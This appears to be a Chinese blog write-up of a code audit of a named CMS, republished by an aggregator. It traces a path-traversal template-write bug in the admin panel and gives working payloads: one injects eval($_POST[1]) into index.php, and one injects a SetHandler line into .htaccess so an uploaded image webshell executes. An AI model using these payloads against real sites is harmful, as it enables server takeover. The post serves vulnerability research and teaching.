0

某CMS代码审计思路分享

 2 years ago
source link: https://xz.aliyun.com/t/9529
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

某CMS代码审计思路分享

​ 大师傅丢给了我一个CMS,说挺简单的,让我尝试审计看看。于是我开启了自己的第一次代码审计。这篇文章主要是讲自己写审计时的一些思路把,对于代码的分析还是比较少的。

Vscode:用来查找内容很好评,自带的转到定义转到引用的功能都很好用

Seay源代码审计系统:虽然有时候在喷这个工具不好用,但是它能帮我们快速定位可能存在危险的函数,可以帮我们发现一些漏掉的东西,总体来说还行啦

​ 在把环境装好后,先试试网站前台有啥功能,可能会存在啥漏洞。

​ 访问了几个页面,都存在ID这个GET请求参数,这里可以判断可能存在SQL注入的漏洞,进行测试

​ 当加上单引号就被过滤了,emmmm不幸的开始,这时候可以使用VScode看看它的WAF是啥样的,有没有机会绕过。

​ 可以知道这个WAF的位置是在Include/contorl.php文件中,并且知道了它运作的原理:当存在GET请求参数时,它会将GET请求参数保存在一个数组中,并对其中的每一个参数进行正则匹配,如果存在关键字则会返回Sorry,You do this is wrong! (.-.)退出脚本。

​ 又在前台逛了一下,并没有发现什么特别有用的功能(这个WAF过滤的太狠了),既然如此就去后台看看吧

​ 登录上来就看到了上传点,是一个很好的开始。这里我先上传了一个正常的图片,然后通过查看Burp的内容去寻找源代码

​ 主要代码应该是在Upfile.php这个文件中,于是我们先去看看这个文件的代码

​ 这里能看到网站的logo是可以上传zip文件的,这让我联想到了使用文件包含的zip协议的漏洞,然后我就上了Seay帮我看看有没有啥文件包含的漏洞

​ 在一众SQL注入XSS提示中,我找到了这个可以函数开始是一个变量的地方,毕竟如果开始是写死的(如:file_get_contents('../'.$xxx))这样的咋们也用不了zip协议了,我飞快的跳去看这个函数定义以及调用它的地方

​ 从这个调用中,我们可以看到$mblujin是不可控,它要嘛是写死的,要嘛是从数据库中查找的。但是有另外一个变量是可控的$mb

​ 这三步:分别是提取模板文件的数据,将其中的<{Template}>内容换成$mb的内容,然后把它写到网站根目录下

​ 这里对于file_get_contents使用拼接字符串十分敏感,因为可以虚构一个不存在的文件名,然后通过../返回上一级。测试如下

​ 那这里我们可以用相同的方法,将想要的内容写进去,然后返回上一级即可。既然如此就得先看看它读的是哪里的文件

index.php是从Templete/default/Include读到的;.htaccess是从Templete/default/Include/hta/d读到的

​ 一开始我的想法是直接将Shell写到index.php,毕竟直接在.php文件的基础写肯定不会错的,看看index.php的源码

<?php
include_once  '<{dirpaths}>Include/web_inc.php';
include_once  '<{dirpaths}>Templete/<{Template}>/Include/Function.php';
$file_url="<{dirpaths}>";
include_once  '<{dirpaths}>Templete/<{Template}>/Include/default.php';
?>

​ 这里闭合代码的话需要闭合单引号,再将后面的内容注释掉就行啦,最后接default是原来模板的文件夹名。

Payload:index.php';eval($_POST[1]);//../default

​ 既然构造好了就得拿上去打了

​ 直接访问Function.php文件不行,因为这里声明了一个类对象,但是并不是在该文件定义的。

​ 通过右键转到定义,发现它是在网站根目录下的Include/contorl.php文件中被定义的,而这个文件最开始就是那个WAF过滤。淦!也就是说我们刚才构造的Payload不行,因为单引号会报错退出。

​ 但是还是先得找个连接这个两个文件的php。

​ 直接用搜索功能就找到了

​ 既然index.php文件用不了,那就转换思路,试试用.htaccess能不能Getshell,还记得我们之前有一个图片上传的点,那只要将图片当作php文件解析即可,先看看.htaccess文件代码

RewriteEngine On
RewriteCond %{http_host} ^sem-cms.com [NC]
RewriteRule ^(.*)$ http://www.sem-cms.com/$1 [L,R=301]

<Files ~ “^.(htaccess|htpasswd)$”>
deny from all
</Files>

RewriteRule  ^product.php$  <{dirpaths}>Templete/<{Template}>/Include/product\.php
RewriteRule  ^about.php$  <{dirpaths}>Templete/<{Template}>/Include/about\.php
RewriteRule  ^contact.php$  <{dirpaths}>Templete/<{Template}>/Include/contact\.php
RewriteRule  ^download.php$  <{dirpaths}>Templete/<{Template}>/Include/download\.php
RewriteRule  ^news.php$  <{dirpaths}>Templete/<{Template}>/Include/news\.php
RewriteRule  ^info.php$  <{dirpaths}>Templete/<{Template}>/Include/info\.php
RewriteRule  ^view.php$  <{dirpaths}>Templete/<{Template}>/Include/view\.php
RewriteRule  ^search.php$  <{dirpaths}>Templete/<{Template}>/Include/search\.php
ErrorDocument 404 /Templete/<{Template}>/Include/404.html

​ 可以将前面的内容闭合,接着通过换行符写入我们想要的规则,最后将后面的内容使用#注释掉

Payload:index.php%0aSetHandler application/x-httpd-php%0a%23/../../default

​ 接着我们先上传一个图片马

​ 接着根据返回的路径试试能不能访问

​ 接着使用我们的Payload打一下,这里CF=template是因为功能点的名字(可以看看前面的图片找到)

Payload:Top_include.php?CF=template&mb=index.php%0aSetHandler application/x-httpd-php%0a%23/../../default

​ 接着我们再次访问改图片

​ 成功的GetShell了!!!

整个审计过程,我是通过了白+黑的方式来看的,当看到可能存在的问题点的时候可以去看看代码,可能代码中的一些内容就会给你提示。再者就是细心吧,有些小细节还是不能放过的,像一开始当我不能利用index.php文件时是想放弃的,但是后来回想到了可以上传图片,又重新振作了。欢迎大家和我一起学习交流!!!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK